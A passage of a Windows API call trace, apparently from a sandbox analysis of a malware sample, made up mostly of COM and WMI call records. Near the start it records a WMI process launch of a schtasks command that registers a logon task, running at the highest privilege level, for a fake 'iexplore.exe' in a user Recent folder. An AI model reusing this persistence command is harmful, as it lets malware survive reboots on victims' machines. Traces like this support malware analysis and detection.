(This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"iexplore\" /sc ONLOGON /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0151.896] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe4e8*=0, plFlavor=0x27fe4ec*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe4e8*=13, plFlavor=0x27fe4ec*=32) returned 0x0 [0151.896] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe4e8*=13, plFlavor=0x27fe4ec*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe4e8*=13, plFlavor=0x27fe4ec*=32) returned 0x0 [0151.896] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb93ad0) returned 0x0 [0151.896] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0151.896] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0151.897] IUnknown:AddRef (This=0x1bb93ad0) returned 0x3 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb93ad8) returned 0x0 [0151.897] IMarshal:GetUnmarshalClass (in: This=0x1bb93ad8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0151.897] IUnknown:Release (This=0x1bb93ad8) returned 0x3 [0151.897] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0151.897] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0151.897] IUnknown:Release (This=0x1bb93ad0) returned 0x2 [0151.897] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0151.897] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0151.897] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0151.897] IUnknown:QueryInterface (in: This=0x1bb93ad0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0151.897] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0151.897] IUnknown:AddRef (This=0x1bb93ad0) returned 0x3 [0151.897] IWbemClassObject:Put (This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb93ad0, varVal2=0x0), Type=0) returned 0x0 [0151.897] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0151.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0151.898] IWbemServices:ExecMethod (in: This=0x1a9e20b0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa187d0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa18a80, ppCallResult=0x0) returned 0x0 [0152.061] IWbemClassObject:Get (in: This=0x1aa18a80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe800*=0, plFlavor=0x27fe804*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc94, varVal2=0x0), pType=0x27fe800*=19, plFlavor=0x27fe804*=0) returned 0x0 [0152.061] IWbemClassObject:Get (in: This=0x1aa18a80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fe800*=19, plFlavor=0x27fe804*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc94, varVal2=0x0), pType=0x27fe800*=19, plFlavor=0x27fe804*=0) returned 0x0 [0152.062] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0152.062] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0152.062] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0152.062] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.064] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9f5e90) returned 0x0 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f5e90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0152.065] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f5e90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc944b0) returned 0x0 [0152.065] WbemDefPath:IUnknown:Release (This=0x1a9f5e90) returned 0x0 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc944b0) returned 0x0 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0152.065] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9f5f10) returned 0x0 [0152.065] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f5f10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.065] WbemDefPath:IUnknown:Release (This=0x1a9f5f10) returned 0x3 [0152.065] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0152.065] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0152.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0152.065] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0152.065] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x1 [0152.065] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0152.066] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0152.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc944b0) returned 0x0 [0152.066] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0152.066] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0152.066] WbemDefPath:IWbemPath:SetText (This=0x1bc944b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc944b0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc944b0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc944b0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0152.066] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc944b0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0152.066] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0152.066] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0152.066] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0152.066] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.068] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9f5c70) returned 0x0 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f5c70, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0152.068] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f5c70, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc943f0) returned 0x0 [0152.068] WbemDefPath:IUnknown:Release (This=0x1a9f5c70) returned 0x0 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc943f0) returned 0x0 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0152.068] WbemDefPath:IUnknown:AddRef (This=0x1bc943f0) returned 0x3 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0152.068] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9f5cb0) returned 0x0 [0152.068] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f5cb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0152.068] WbemDefPath:IUnknown:Release (This=0x1a9f5cb0) returned 0x3 [0152.068] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0152.069] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0152.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0152.069] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0152.069] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x1 [0152.069] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0152.069] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0152.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc943f0) returned 0x0 [0152.069] WbemDefPath:IUnknown:AddRef (This=0x1bc943f0) returned 0x3 [0152.069] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0152.069] WbemDefPath:IWbemPath:SetText (This=0x1bc943f0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc943f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc943f0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0152.069] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0152.069] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0152.069] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0152.069] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0152.069] IUnknown:Release (This=0x1a943398) returned 0x1 [0152.071] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1a9f5df0) returned 0x0 [0152.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f5df0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0152.071] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f5df0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc94330) returned 0x0 [0152.071] WbemDefPath:IUnknown:Release 